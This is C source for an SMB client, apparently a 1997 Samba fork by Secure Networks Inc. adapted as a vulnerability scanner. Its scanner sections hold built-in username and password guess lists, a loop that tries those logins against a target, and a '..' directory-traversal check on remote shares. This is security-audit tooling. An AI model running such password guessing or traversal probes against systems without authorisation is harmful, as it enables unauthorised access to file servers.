/*
 * This file has been modified from the original Samba package
 * by Secure Networks Inc., January and February, 1997.  This package and
 * all code which it is based on falls under the GNU Public License
 * agreement.
 */

/* 
   Unix SMB/Netbios implementation.
   Version 1.9.
   SMB client
   Copyright (C) Andrew Tridgell 1994-1995

   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; either version 2 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/

#ifdef SYSLOG
#undef SYSLOG
#endif

#include "includes.h"

#ifndef REGISTER
#define REGISTER 0
#endif

extern FILE *userfd;
extern FILE *passfd;
extern char *userfile;
extern char *passfile;

pstring cur_dir = "\\";
pstring cd_path = "";
pstring service="";
pstring desthost="";
pstring myname = "";
pstring password = "";
pstring username="";
pstring workgroup=WORKGROUP;
BOOL got_pass = False;
BOOL connect_as_printer = False;
BOOL connect_as_ipc = False;

char cryptkey[8];
BOOL doencrypt=False;

extern pstring user_socket_options;

/*
 * 30 second timeout on most commands 
 */
#define CLIENT_TIMEOUT (30*1000)
#define SHORT_TIMEOUT (5*1000)

/*
 * value for unused fid field in trans2 secondary request 
 */
#define FID_UNUSED (0xFFFF)

int name_type = 0x20;

int max_protocol = PROTOCOL_NT1;

#ifdef SCANNER
#include "vulns.h"
#ifndef VERBOSE
#define fprintf donothing
#define printf donothing
#endif
#undef CLIENT_TIMEOUT
#define CLIENT_TIMEOUT (15 * 1000)	/* only 15 seconds here.. */

/*
 * stuff *this* file is gonna need: 
 */

extern char * vuln_strings [];	/* stuff to pass back thru the interface */
extern int vuln_ids[];
extern int cur_vuln;		/* what bugid we're now working on */
extern int clear_block();

/*
 * control stuff for testing for ".." style bugs 
 */
static file_info stash;
file_info * cur_stash = NULL;
int tested_stash = 0;

/*
 * Some saved session variables in case of lossage 
 */

int cur_port = 0;		/* shouldn't be ushort??! */
pstring cur_user = "";
pstring cur_pass = "";
int cur_sec_mode = 0;
int cur_protocol = 0;
int cur_serr = 0;		/* last server-class error */
/* some extra control flags */
BOOL read_pass = 0;
BOOL stepping = 0;
BOOL xflag = 0;			/* yes, do encryption */
#endif /* SCANNER */

time_t newer_than = 0;
int archive_level = 0;

extern struct in_addr myip;

extern pstring debugf;
extern int DEBUGLEVEL;

BOOL translation = False;

/* clitar bits insert */
extern void cmd_tar();
extern void cmd_block();
extern void cmd_tarmode();
extern void cmd_setmode();
extern int blocksize;
extern BOOL tar_inc;
extern BOOL tar_reset;
/* clitar bits end */

int cnum = 0;
int pid = 0;
int gid = 0;
int uid = 0;
int mid = 0;
int myumask = 0755;

int max_xmit = BUFFER_SIZE;

extern pstring scope;

BOOL prompt = True;

int printmode = 1;

BOOL recurse = False;
BOOL lowercase = False;

BOOL have_ip = False;

struct in_addr dest_ip;

#define SEPARATORS " \t\n\r"

BOOL abort_mget = True;

extern int Protocol;

BOOL readbraw_supported = False;
BOOL writebraw_supported = False;

pstring fileselection = "";

extern file_info def_finfo;

/* timing globals */
int get_total_size = 0;
int get_total_time_ms = 0;
int put_total_size = 0;
int put_total_time_ms = 0;

extern int Client;

static int said_protocol = 0;
  /* Whether we've told the user the protocol already */

#ifdef SCANNER
/*
 * external data blocks we fill in along the way.  If these seem size limited,
 * not to worry; there's a much bigger dictionary waiting in the wings 
 */

/*
 * XXX: any null entry must be first in the list, per fill_block() et al 
 */

/*
 * XXX: should fill these with "live" info from the net FIRST, and then tack
 * on the "extra" test entries at the end, to avoid trying them first. 
 */

/* try_? is starting array + filled-in from previous phases */
/* idx_? is index from which to start filling in additional data */
/* ptr_? is pointer used by uppair() to index through blocks */

/*
 * Names to attempt to connect to remote host with (The names associated
 * with the remote host itself).
 */
int ptr_names = 0;
int idx_names = 1;
char *try_names [] = {
  "*",
  "", "", "", "", "", "", "", "",		/* placeholders for 8 more */
  NULL						/* trailer */
};

/*
 * Common usernames to guess
 */
int ptr_users = 0;
int idx_users = 13;
char *try_users [] = {
  "",
  "ADMINISTRATOR",		/* the order of these IS somewhat relevant */
  "GUEST", "BACKUP", "ROOT", "ADMIN", "USER", "DEMO", "TEST", "SYSTEM",
  "OPERATOR", "OPER", "LOCAL",
  "", "", "", "", "", "", "", "",		/* placeholders for 8 more */
  NULL						/* trailer */
};

/*
 * Common passwords to guess
 */
int ptr_pass = 0;
int idx_pass = 21;
char * try_pass [] = {
  "", "ADMINISTRATOR", "GUEST", "ROOT", "ADMIN", "PASSWORD", "TEMP", "SHARE",
  "WRITE", "FULL", "BOTH", "READ", "FILES", "DEMO", "TEST", "ACCESS", "USER",
  "BACKUP", "SYSTEM", "SERVER", "LOCAL",
  "", "", "", "", "", "", "", "",		/* placeholders for 16 more */
  "", "", "", "", "", "", "", "",
  NULL						/* trailer */
};

/*
 * Shares availibles on remote host
 */
int ptr_shares = 0;
int idx_shares = 1;
int hid_shares = 0;				/* >= here are C$, etc */
char * try_shares [] = {
  "",
  "", "", "", "", "", "", "", "",		/* placeholders for 16 more */
  "", "", "", "", "", "", "", "",
  NULL						/* trailer */
};

int ptr_browses = 0;
int idx_browses = 0;
char *browses [16];

char *smb_errstr(char *);

/*
 * Create and fill a new data block entry.  Return index of the block just
 * created, or 0 if no more empties available.  Also return 0 if no entry was
 * made for whatever reason, i.e. nothing changed.
 * *NOTE: data blocks are 128 bytes [like fstrings] and copy is limited to
 * 126, so don't expect to cram a lotta stuff into it.  Also each block contains
 * no greater than 128 entries; this *should* be enough unless we need a huge
 * one for trial passwords.
 */

int fill_block (char ** block, char * str)
{
  register int i = 1;			/* start at *second* entry */
  register char ** p = block;

  if (!str)				/* sanity */
    return (0);
  if (str[0] == '\0')			/* avoid empty strings, too */
    return (0);

  for (; i < 128; i++) {		/* runaway protection... */
    if (p[i] == NULL)
      return (0);			/* block is full! */
    if (*p[i] == '\0')
      break;
    if (! strcmp (p[i], str))		/* avoid dupes */
      return (0);
  } /* for i */
  p[i] = (char *) malloc (128);		/* okay, really need a new one */
  if (! p[i])
    return (0);
  memset (p[i], 0, 128);		/* pre-clear it */
  StrnCpy (p[i], str, 126);		/* and be safe */
  return (i);				/* tell us which entry got filled */
} /* fill_block */

/*
 * Return the item from the specified block at the specified index,
 * return pointer to string or NULL.
 * 
 */
char *get_block (blk, idx)
  char ** blk;
  int idx;
{
  if (!blk)
    return(NULL);

  if (idx > 127)
    return (NULL);

  if (idx == 0) {		/* first item *can* be a null-string */
    if (blk[0] == NULL)
      return (NULL);
    return (blk[0]);
  }

  if (blk[idx])
    if (*(blk[idx]))		/* otherwise, see if it has content */
      return (blk[idx]);
  return (NULL);		/* nope, empty -- done */
}

void donothing ();			/* in module() file */
void cmd_tar() {}			/* fakeouts for the sambatar stuff */
void cmd_block() {}
void cmd_tarmode() {}
void cmd_setmode() {}

/*
 * Pick off the first dir entry and squirrel away its details.
 */
static void get_stash (file_info *finfo)
{

  if (cur_stash != NULL)
    return;				/* already got it */

  cur_stash = &stash;
  memset (cur_stash, 0, sizeof (file_info));
  memcpy (cur_stash, finfo, sizeof (file_info));
  tested_stash = 1;			/* flag do_dir to quit */
} /* get_stash */

/*
 * Compare first dir entry against saved one; holler if *different*.
 *
 * This checks for the .. bug.  We compare 2 directory entries to see
 * if we successfully entered another directory by issuing ".." from the
 * root directory.
 */
static void cmp_stash (file_info *finfo)
{

  register int diff_stash = 0;

  if (tested_stash) {			/* should "never happen"... */
    DEBUG (1,("Redundant cmp_stash call?!\n"));
    return;	
  }
  tested_stash = 1;			/* did-first-entry flag */
  if (cur_stash == NULL)
    return;				/* can't test! */
  if (! cur_stash->name)		/* various hairy errors */
    return;
  if ((! finfo) || (! finfo->name))
    return;

  /* 
   * compare various fields to see if we're looking at the same file, and
   * set a flag if something doesn't match 
   */

  if (strcmp (cur_stash->name, finfo->name))
    diff_stash = 1;
  if (cur_stash->size != finfo->size)
    diff_stash = 1;
  if (cur_stash->mtime != finfo->mtime)
    diff_stash = 1;

  if (diff_stash) {
#ifdef VERBOSE
    natprintf("[*]--- WARNING: Was able to exercise .. bug in: %s\n", cur_dir);
#endif

    DEBUG (0,("probable directory-handling bug using %s\n", cur_dir));
    cur_vuln = VULID_DOTDOTBUG;
    fill_vuln ("Was able to exercise .. bug in directory:", cur_dir);
  }
}

static int upp_ctx = 0;		/* uppair context: set to 0 to restart */

/*
 * Get a new user/passwd pair to try, either from the user or from dict [?].
 * modifies global "username" and "password" so everyone can see 'em.
 */

/*
 * XXX: could be much cleaner if we eliminated the strcpys and just chuck
 * pointers around, but the guessing stuff is network-limited anyways and it
 * pays to give the target a *little* more time to recover between blows.
 * 'Sides, we want to preserve whatever gets us in.. 
 */

static BOOL uppair()
{
  char * user;
  char * pass;
  static int count = 0;

  pass = NULL;
  if (stepping)
    goto upp_mode;

  /*
   * password-only cases: we've already got "username" set and don't touch it 
   */

  if (read_pass) {
    pass = fgets (password, 128, stdin);
    if (! pass)
      return (False);			/* EOF */
    pass += strlen (password);
    pass--;
    if (*pass == '\n') *pass = '\0';
    pass--;
    if (*pass == '\r') *pass = '\0';
    return (1);
  } /* if read_pass */

  /*
   * ordinary one-shot case 
   */
  pass = (char *)getpass("Password: ");
  goto upp_done;

upp_mode:
  if ((upp_ctx == 0) || (upp_ctx == 4)) {  /* first time thru? */
    ptr_pass = 0;
    ptr_users = 0;
    strcpy (username, try_users[0]);	/* first one is blank anyways */
    upp_ctx++;
  } /* ctx = 0 */
  if ((upp_ctx == 1) || (upp_ctx == 5)) {  /* builtin and collected lists */
    pass = get_block (try_pass, ptr_pass);
    ptr_pass++;				/* for next time thru */
    if (pass == NULL) {
      ptr_users++;
      if (upp_ctx == 5)			/* only indexing passwords */
	return (0);
      user = get_block (try_users, ptr_users);
      if (user == NULL)
	return (0);			/* done! XXX: or goto big-dict */
      strcpy (username, user);		/* new username, so ... */
      pass = try_pass[0];		/* restart passwd list */
      ptr_pass = 1;			/* fiddle for next time thru */
    } /* pass == NULL */
  } /* ctx = 1 */
  if (upp_ctx == 2) {			/* dunno yet */
    ; /* bigdict here? */
  } /* ctx = 2 */
  if (upp_ctx == 3) {			/* this got in before, reuse it */
    strcpy (username, cur_user);
    strcpy (password, cur_pass);
  } /* ctx = 3 */

upp_done:
  if (pass == NULL)
    return (0);
  if (count > 20) {			/* let the target recover... */
    sleep (1);
    count = 0;
  }
  strcpy (password, pass);
  return (1);

  /*
   * wanna put permutation stuff [with appropriate state-stepping] here?? 
   */
}

#endif /* SCANNER */

#define CNV_LANG(s) (s)
#define CNV_INPUT(s) ;

static void send_logout(void );
BOOL reopen_connection(char *inbuf,char *outbuf);
static int do_long_dir(char *inbuf,char *outbuf,char *Mask,
                       int attribute,void (*fn)(),BOOL recurse_dir);
static int do_short_dir(char *inbuf,char *outbuf,char *Mask,
                        int attribute,void (*fn)(),BOOL recurse_dir);
static BOOL call_api(int prcnt,int drcnt,int mprcnt,int mdrcnt,
		     int *rprcnt,int *rdrcnt,char *param,char *data,
		     char **rparam,char **rdata);
static BOOL send_trans_request(char *outbuf,int trans,
			       char *name,int fid,int flags,
			       char *data,char *param,uint16 *setup,
			       int ldata,int lparam,int lsetup,
			       int mdata,int mparam,int msetup);

/*
 * Setup basics in a outgoing packet
 */

void setup_pkt(char *outbuf)
{
  SSVAL(outbuf,smb_pid,pid);
  SSVAL(outbuf,smb_uid,uid);
  SSVAL(outbuf,smb_mid,mid);
  if (Protocol > PROTOCOL_CORE) {
      SCVAL(outbuf,smb_flg,0x8);
      SSVAL(outbuf,smb_flg2,0x1);
  }

  /* 
   * Above is setting: flg: caseless-filenames;
   *                    flg2: long-filenames
   *  WANT TO ADD: flg: 0x10 already-canon-filenames [set by !CLIENT!]
   *               flg2: 0x2000 permit read if client has "execute" perm??  
   */

#ifdef SCANNER
  if (Protocol > PROTOCOL_CORE) {
      SCVAL(outbuf,smb_flg,0x18);
      SSVAL(outbuf,smb_flg2,0x2001);
  }
#endif
}

/*
 * write to a local file with CR/LF->LF translation if appropriate. return the 
 * number taken from the buffer. This may not equal the number written.
 */
static int writefile(int f, char *b, int n)
{
  int i;

  if (!translation)
    return(write(f,b,n));

  i = 0;
  while (i < n) {
      if (*b == '\r' && (i<(n-1)) && *(b+1) == '\n') {
	  b++;i++;
      }
      if (write(f, b, 1) != 1)
	  break;
      b++;
      i++;
  }

  return(i);
}

/*
 * read from a file with LF->CR/LF translation if appropriate. return the 
 * number read. read approx n bytes.
 */
static int readfile(char *b, int size, int n, FILE *f)
{
  int i;
  int c;

  if (!translation || (size != 1))
    return(fread(b,size,n,f));

  i = 0;
  while (i < n) {
      if ((c = getc(f)) == EOF)
	  break;

      if (c == '\n') {
	  b[i++] = '\r';
	  n++;
      }
      b[i++] = c;
    }
  return(i);
}

/*
 * read from a file with print translation. return the number read. 
 * read approx n bytes.
 */
static int printread(FILE *f,char *b,int n)
{
  int i;

  i = readfile(b,1, n-1,f);
#if FORMFEED
  if (feof(f) && i>0)
    b[i++] = '\014';
#endif

  return(i);
}

/*
 * check for existance of a dir
 */
static BOOL chkpath(char *path,BOOL report)
{
  fstring path2;
  pstring inbuf,outbuf;
  char *p;

  strcpy(path2,path);
  trim_string(path2,NULL,"\\");
  if (!*path2) *path2 = '\\';

  bzero(outbuf,smb_size);
  set_message(outbuf,0,4 + strlen(path2),True);
  SCVAL(outbuf,smb_com,SMBchkpth);
  SSVAL(outbuf,smb_tid,cnum);
  setup_pkt(outbuf);

  p = smb_buf(outbuf);
  *p++ = 4;
  strcpy(p,path2);

  send_smb(Client,outbuf);
  receive_smb(Client,inbuf,CLIENT_TIMEOUT);

  if (report && CVAL(inbuf,smb_rcls) != 0)
    DEBUG(2,("chkpath: %s\n",smb_errstr(inbuf)));

  return(CVAL(inbuf,smb_rcls) == 0);
}

/*
 * check the space on a device
 */
static void do_dskattr(void)
{
  pstring inbuf,outbuf;

  bzero(outbuf,smb_size);
  set_message(outbuf,0,0,True);
  CVAL(outbuf,smb_com) = SMBdskattr;
  SSVAL(outbuf,smb_tid,cnum);
  setup_pkt(outbuf);

  send_smb(Client,outbuf);
  receive_smb(Client,inbuf,CLIENT_TIMEOUT);

  if (CVAL(inbuf,smb_rcls) != 0) 
    DEBUG(0,("Error in dskattr: %s\n",smb_errstr(inbuf)));      

  DEBUG(0,("\n\t\t%d blocks of size %d. %d blocks available\n",
	SVAL(inbuf,smb_vwv0),
	SVAL(inbuf,smb_vwv1)*SVAL(inbuf,smb_vwv2),
	SVAL(inbuf,smb_vwv3)));
}

/*
 * show cd/pwd
 */
static void cmd_pwd(void)
{
  DEBUG(0,("Current directory is %s",CNV_LANG(service)));
  DEBUG(0,("%s\n",CNV_LANG(cur_dir)));
}

/*
 * change directory
 */
static void cmd_cd(char *inbuf,char *outbuf)
{
  fstring buf;
  char *p = buf;
  pstring saved_dir;

  if (next_token(NULL,buf,NULL)) {
      pstring dname;

#ifdef SCANNER
      /*
       * just plug in exactly what I say, without locally checking it.  Implies
       * that we must always supply an abspath, which for the mo' is fine 
       */
      cur_dir[0] = '\0';
      strcpy (cur_dir, p);
      DEBUG (0,("chkpath says: %d\n", chkpath (cur_dir, False)));
#else

      /* 
       * Save the current directory in case the new directory is invalid 
       */

      strcpy(saved_dir, cur_dir);
      if (*p == '\\')
	strcpy(cur_dir,p);
      else
	strcat(cur_dir,p);
      if (*(cur_dir+strlen(cur_dir)-1) != '\\') {
	strcat(cur_dir, "\\");
      }
      dos_clean_name(cur_dir);
      strcpy(dname,cur_dir);
      strcat(cur_dir,"\\");
      dos_clean_name(cur_dir);

      if (!strequal(cur_dir,"\\"))
	if (!chkpath(dname,True))
	  strcpy(cur_dir,saved_dir);

#endif /* SCANNER */

  } else
    DEBUG(0,("Current directory is %s\n",CNV_LANG(cur_dir)));
  strcpy(cd_path,cur_dir);
}

/*
 * display info about a file
 */
static void display_finfo(file_info *finfo)
{
  time_t t = finfo->mtime; /* the time is assumed to be passed as GMT */
  DEBUG(0,("  %-30s%7.7s%10d  %s", CNV_LANG(finfo->name),
	   attrib_string(finfo->mode), finfo->size,
	   asctime(LocalTime(&t,GMT_TO_LOCAL))));
}

/*
 * do a directory listing, calling fn on each file found
 */
void do_dir(char *inbuf,char *outbuf,char *Mask,int attribute,void (*fn)(),BOOL recurse_dir)
{
  if (Protocol >= PROTOCOL_LANMAN2)
    {
      if (do_long_dir(inbuf,outbuf,Mask,attribute,fn,recurse_dir) > 0)
	return;
    }

  expand_mask(Mask,False);
  do_short_dir(inbuf,outbuf,Mask,attribute,fn,recurse_dir);
  return;
}

/*
 * decide if a file should be operated on
 */
static BOOL do_this_one(file_info *finfo)
{
  if (finfo->mode & aDIR) return(True);

  if (newer_than && finfo->mtime < newer_than)
    return(False);

  if ((archive_level==1 || archive_level==2) && !(finfo->mode & aARCH))
    return(False);

  return(True);
}

/*
 * interpret a short filename structure
 * The length of the structure is returned
 */
static int interpret_short_filename(char *p,file_info *finfo)
{
  finfo->mode = CVAL(p,21);

  /*
   * this date is converted to GMT by make_unix_date 
   */

  finfo->ctime = make_unix_date(p+22);
  finfo->mtime = finfo->atime = finfo->ctime;
  finfo->size = IVAL(p,26);
  strcpy(finfo->name,p+30);

  return(DIR_STRUCT_SIZE);
}

/*
 * interpret a long filename structure - this is mostly guesses at the moment
 * The length of the structure is returned
 * The structure of a long filename depends on the info level. 260 is used
 * by NT and 2 is used by OS/2
 */
static int interpret_long_filename(int level,char *p,file_info *finfo)
{
  if (finfo)
    memcpy(finfo,&def_finfo,sizeof(*finfo));

  switch (level)
    {
    case 1: /* OS/2 understands this */
      if (finfo)
	{
	  /* these dates are converted to GMT by make_unix_date */
	  finfo->ctime = make_unix_date2(p+4);
	  finfo->atime = make_unix_date2(p+8);
	  finfo->mtime = make_unix_date2(p+12);
	  finfo->size = IVAL(p,16);
	  finfo->mode = CVAL(p,24);
	  strcpy(finfo->name,p+27);
	}
      return(28 + CVAL(p,26));

    case 2: /* this is what OS/2 uses mostly */
      if (finfo)
	{
	  /* these dates are converted to GMT by make_unix_date */
	  finfo->ctime = make_unix_date2(p+4);
	  finfo->atime = make_unix_date2(p+8);
	  finfo->mtime = make_unix_date2(p+12);
	  finfo->size = IVAL(p,16);
	  finfo->mode = CVAL(p,24);
	  strcpy(finfo->name,p+31);
	}
      return(32 + CVAL(p,30));

      /* levels 3 and 4 are untested */
    case 3:
      if (finfo)
	{
	  /* these dates are probably like the other ones */
	  finfo->ctime = make_unix_date2(p+8);
	  finfo->atime = make_unix_date2(p+12);
	  finfo->mtime = make_unix_date2(p+16);
	  finfo->size = IVAL(p,20);
	  finfo->mode = CVAL(p,28);
	  strcpy(finfo->name,p+33);
	}
      return(SVAL(p,4)+4);

    case 4:
      if (finfo)
	{
	  /* these dates are probably like the other ones */
	  finfo->ctime = make_unix_date2(p+8);
	  finfo->atime = make_unix_date2(p+12);
	  finfo->mtime = make_unix_date2(p+16);
	  finfo->size = IVAL(p,20);
	  finfo->mode = CVAL(p,28);
	  strcpy(finfo->name,p+37);
	}
      return(SVAL(p,4)+4);

    case 260: /* NT uses this, but also accepts 2 */
      if (finfo)
	{
	  int ret = SVAL(p,0);
	  int namelen;
	  p += 4; /* next entry offset */
	  p += 4; /* fileindex */

	  /* these dates appear to arrive in a weird way. It seems to
	     be localtime plus the serverzone given in the initial
	     connect. This is GMT when DST is not in effect and one
	     hour from GMT otherwise. Can this really be right??

	     I suppose this could be called kludge-GMT. Is is the GMT
	     you get by using the current DST setting on a different
	     localtime. It will be cheap to calculate, I suppose, as
	     no DST tables will be needed */

	  finfo->ctime = interpret_long_date(p); p += 8;
	  finfo->atime = interpret_long_date(p); p += 8;
	  finfo->mtime = interpret_long_date(p); p += 8; p += 8;
	  finfo->size = IVAL(p,0); p += 8;
	  p += 8; /* alloc size */
	  finfo->mode = CVAL(p,0); p += 4;
	  namelen = IVAL(p,0); p += 4;
	  p += 4; /* EA size */
	  p += 2; /* short name len? */
	  p += 24; /* short name? */	  
	  StrnCpy(finfo->name,p,namelen);
	  return(ret);
	}
      return(SVAL(p,0));
    }

  DEBUG(1,("Unknown long filename format %d\n",level));
  return(SVAL(p,0));
}

/*
 * act on the files in a dir listing
 */
static void dir_action(char *inbuf,char *outbuf,int attribute,
                       file_info *finfo,BOOL recurse_dir,
                       void (*fn)(),BOOL longdir)
{

  if (!((finfo->mode & aDIR) == 0 && *fileselection && 
	!mask_match(finfo->name,fileselection,False,False)) &&
      !(recurse_dir && (strequal(finfo->name,".") || 
			strequal(finfo->name,".."))))
    {
      if (recurse_dir && (finfo->mode & aDIR))
	{
	  pstring mask2;
	  pstring sav_dir;
	  strcpy(sav_dir,cur_dir);
	  strcat(cur_dir,finfo->name);
	  strcat(cur_dir,"\\");
	  strcpy(mask2,cur_dir);

	  if (!fn)
	    DEBUG(0,("\n%s\n",CNV_LANG(cur_dir)));

	  if (longdir)
	    {
	      strcat(mask2,"*");
	      do_long_dir(inbuf,outbuf,mask2,attribute,fn,True);      
	    }
	  else
	    {
	      strcat(mask2,"*.*");
	      do_dir(inbuf,outbuf,mask2,attribute,fn,True);
	    }
	  strcpy(cur_dir,sav_dir);
	}
      else
	{
	  if (fn && do_this_one(finfo))
	    fn(finfo);
	}
    }
}

/*
 * do a directory listing, calling fn on each file found
 */
static int do_short_dir(char *inbuf,char *outbuf,
                        char *Mask,int attribute,
                        void (*fn)(),BOOL recurse_dir)
{
  char *p;
  int received = 0;
  BOOL first = True;
  char status[21];
  int num_asked = (max_xmit - 100)/DIR_STRUCT_SIZE;
  int num_received = 0;
  int i;
  char *dirlist = NULL;
  pstring mask;
  file_info finfo;

  finfo = def_finfo;

  bzero(status,21);

  strcpy(mask,Mask);

  while (1)
    {
      bzero(outbuf,smb_size);
      if (first)	
	set_message(outbuf,2,5 + strlen(mask),True);
      else
	set_message(outbuf,2,5 + 21,True);

#if FFIRST
      if (Protocol >= PROTOCOL_LANMAN1)
	CVAL(outbuf,smb_com) = SMBffirst;
      else
#endif
	CVAL(outbuf,smb_com) = SMBsearch;

      SSVAL(outbuf,smb_tid,cnum);
      setup_pkt(outbuf);

      SSVAL(outbuf,smb_vwv0,num_asked);
      SSVAL(outbuf,smb_vwv1,attribute);

      p = smb_buf(outbuf);
      *p++ = 4;

      if (first)
	strcpy(p,mask);
      else
	strcpy(p,"");
      p += strlen(p) + 1;

      *p++ = 5;
      if (first)
	SSVAL(p,0,0);
      else
	{
	  SSVAL(p,0,21);
	  p += 2;
	  memcpy(p,status,21);
	}

      send_smb(Client,outbuf);
      receive_smb(Client,inbuf,CLIENT_TIMEOUT);

      received = SVAL(inbuf,smb_vwv0);

      DEBUG(5,("dir received %d\n",received));

      DEBUG(6,("errstr=%s\n",smb_errstr(inbuf)));

      if (received <= 0) break;

      first = False;

      dirlist = Realloc(dirlist,(num_received + received)*DIR_STRUCT_SIZE);

      if (!dirlist) 
	return 0;

      p = smb_buf(inbuf) + 3;

      memcpy(dirlist+num_received*DIR_STRUCT_SIZE,
	     p,received*DIR_STRUCT_SIZE);

      memcpy(status,p + ((received-1)*DIR_STRUCT_SIZE),21);

      num_received += received;

      if (CVAL(inbuf,smb_rcls) != 0) break;
    }

#if FFIRST
  if (!first && Protocol >= PROTOCOL_LANMAN1)
    {
      bzero(outbuf,smb_size);
      CVAL(outbuf,smb_com) = SMBfclose;

      SSVAL(outbuf,smb_tid,cnum);
      setup_pkt(outbuf);

      p = smb_buf(outbuf);
      *p++ = 4;

      strcpy(p,"");
      p += strlen(p) + 1;

      *p++ = 5;
      SSVAL(p,0,21);
      p += 2;
      memcpy(p,status,21);

      send_smb(Client,outbuf);
      receive_smb(Client,inbuf,CLIENT_TIMEOUT,False);

      if (CVAL(inbuf,smb_rcls) != 0) 
	DEBUG(0,("Error closing search: %s\n",smb_errstr(inbuf)));      
    }
#endif

  if (!fn)
    for (p=dirlist,i=0;i<num_received;i++)
      {
	p += interpret_short_filename(p,&finfo);
	display_finfo(&finfo);
      }

  for (p=dirlist,i=0;i<num_received;i++)
    {
#ifdef SCANNER
      if (stepping && tested_stash)
	break;				/* quit early if just testing.. */
#endif /* SCANNER */
      p += interpret_short_filename(p,&finfo);
      dir_action(inbuf,outbuf,attribute,&finfo,recurse_dir,fn,False);
    }

sd_skip:
  if (dirlist) free(dirlist);
  return(num_received);
}

/*
 * receive a SMB trans or trans2 response allocating the necessary memory
 */
static BOOL receive_trans_response(char *inbuf,int trans,
                                   int *data_len,int *param_len,
                                   char **data,char **param)
{
  int total_data=0;
  int total_param=0;
  int this_data,this_param;

  *data_len = *param_len = 0;

  receive_smb(Client,inbuf,CLIENT_TIMEOUT);
  show_msg(inbuf);

  /* sanity check */
  if (CVAL(inbuf,smb_com) != trans)
    {
      DEBUG(0,("Expected %s response, got command 0x%02x\n",
	       trans==SMBtrans?"SMBtrans":"SMBtrans2", CVAL(inbuf,smb_com)));
      return(False);
    }
  if (CVAL(inbuf,smb_rcls) != 0)

#ifdef SCANNER
  {
    DEBUG (0,("Trans failed (%d, %d): %s\n", CVAL(inbuf, smb_rcls),
	SVAL (inbuf, smb_err), smb_errstr (inbuf)));
    return (False);
  }
#else
    return(False);
#endif /* SCANNER */

  /* parse out the lengths */
  total_data = SVAL(inbuf,smb_tdrcnt);
  total_param = SVAL(inbuf,smb_tprcnt);

  /* allocate it */
  *data = Realloc(*data,total_data);
  *param = Realloc(*param,total_param);

  while (1)
    {
      this_data = SVAL(inbuf,smb_drcnt);
      this_param = SVAL(inbuf,smb_prcnt);
      if (this_data)
	memcpy(*data + SVAL(inbuf,smb_drdisp),
	       smb_base(inbuf) + SVAL(inbuf,smb_droff),
	       this_data);
      if (this_param)
	memcpy(*param + SVAL(inbuf,smb_prdisp),
	       smb_base(inbuf) + SVAL(inbuf,smb_proff),
	       this_param);
      *data_len += this_data;
      *param_len += this_param;

      /* parse out the total lengths again - they can shrink! */
      total_data = SVAL(inbuf,smb_tdrcnt);
      total_param = SVAL(inbuf,smb_tprcnt);

      if (total_data <= *data_len && total_param <= *param_len)
	break;

      receive_smb(Client,inbuf,CLIENT_TIMEOUT);
      show_msg(inbuf);

      /* sanity check */
      if (CVAL(inbuf,smb_com) != trans)
	{
	  DEBUG(0,("Expected %s response, got command 0x%02x\n",
		   trans==SMBtrans?"SMBtrans":"SMBtrans2", CVAL(inbuf,smb_com)));
	  return(False);
	}
      if (CVAL(inbuf,smb_rcls) != 0)
	  return(False);
    }

  return(True);
}

/*
 * do a directory listing, calling fn on each file found. Use the TRANSACT2
 * call for long filenames
 */
static int do_long_dir(char *inbuf,char *outbuf,char *Mask,
                       int attribute,void (*fn)(),
                       BOOL recurse_dir)
{
  int max_matches = 512;
  int info_level = Protocol<PROTOCOL_NT1?1:260; /* NT uses 260, OS/2 uses 2. Both accept 1. */
  char *p;
  pstring mask;
  file_info finfo;
  int i;
  char *dirlist = NULL;
  int dirlist_len = 0;
  int total_received = 0;
  BOOL First = True;
  char *resp_data=NULL;
  char *resp_param=NULL;
  int resp_data_len = 0;
  int resp_param_len=0;

  int ff_resume_key = 0;
  int ff_searchcount=0;
  int ff_eos=0;
  int ff_lastname=0;
  int ff_dir_handle=0;
  int loop_count = 0;

  uint16 setup;
  pstring param;

  strcpy(mask,Mask);

  while (ff_eos == 0)
    {
      loop_count++;
      if (loop_count > 200)
	{
	  DEBUG(0,("ERROR: Looping in FIND_NEXT??\n"));
	  break;
	}

      if (First)
	{
	  setup = TRANSACT2_FINDFIRST;
	  SSVAL(param,0,attribute); /* attribute */
	  SSVAL(param,2,max_matches); /* max count */
	  SSVAL(param,4,8+4+2);	/* resume required + close on end + continue */
	  SSVAL(param,6,info_level); 
	  SIVAL(param,8,0);
	  strcpy(param+12,mask);
	}
      else
	{
	  setup = TRANSACT2_FINDNEXT;
	  SSVAL(param,0,ff_dir_handle);
	  SSVAL(param,2,max_matches); /* max count */
	  SSVAL(param,4,info_level); 
	  SIVAL(param,6,ff_resume_key); /* ff_resume_key */
	  SSVAL(param,10,8+4+2);	/* resume required + close on end + continue */
	  strcpy(param+12,mask);

	  DEBUG(5,("hand=0x%X resume=%d ff_lastname=%d mask=%s\n",
		   ff_dir_handle,ff_resume_key,ff_lastname,mask));
	}
      /* ??? original code added 1 pad byte after param */

      send_trans_request(outbuf,SMBtrans2,NULL,FID_UNUSED,0,
			 NULL,param,&setup,
			 0,12+strlen(mask)+1,1,
			 BUFFER_SIZE,10,0);

      if (!receive_trans_response(inbuf,SMBtrans2,
			      &resp_data_len,&resp_param_len,
			          &resp_data,&resp_param))
	{
	  DEBUG(3,("FIND%s gave %s\n",First?"FIRST":"NEXT",smb_errstr(inbuf)));
	  break;
	}

      /* parse out some important return info */
      p = resp_param;
      if (First)
	{
	  ff_dir_handle = SVAL(p,0);
	  ff_searchcount = SVAL(p,2);
	  ff_eos = SVAL(p,4);
	  ff_lastname = SVAL(p,8);
	}
      else
	{
	  ff_searchcount = SVAL(p,0);
	  ff_eos = SVAL(p,2);
	  ff_lastname = SVAL(p,6);
	}

      if (ff_searchcount == 0) 
	break;

      /* point to the data bytes */
      p = resp_data;

      /* we might need the lastname for continuations */
      if (ff_lastname > 0)
	{
	  switch(info_level)
	    {
	    case 260:
	      ff_resume_key =0;
	      StrnCpy(mask,p+ff_lastname,resp_data_len-ff_lastname);
	      /* strcpy(mask,p+ff_lastname+94); */
	      break;
	    case 1:
	      strcpy(mask,p + ff_lastname + 1);
	      ff_resume_key = 0;
	      break;
	    }
	}
      else
	strcpy(mask,"");

      /* and add them to the dirlist pool */
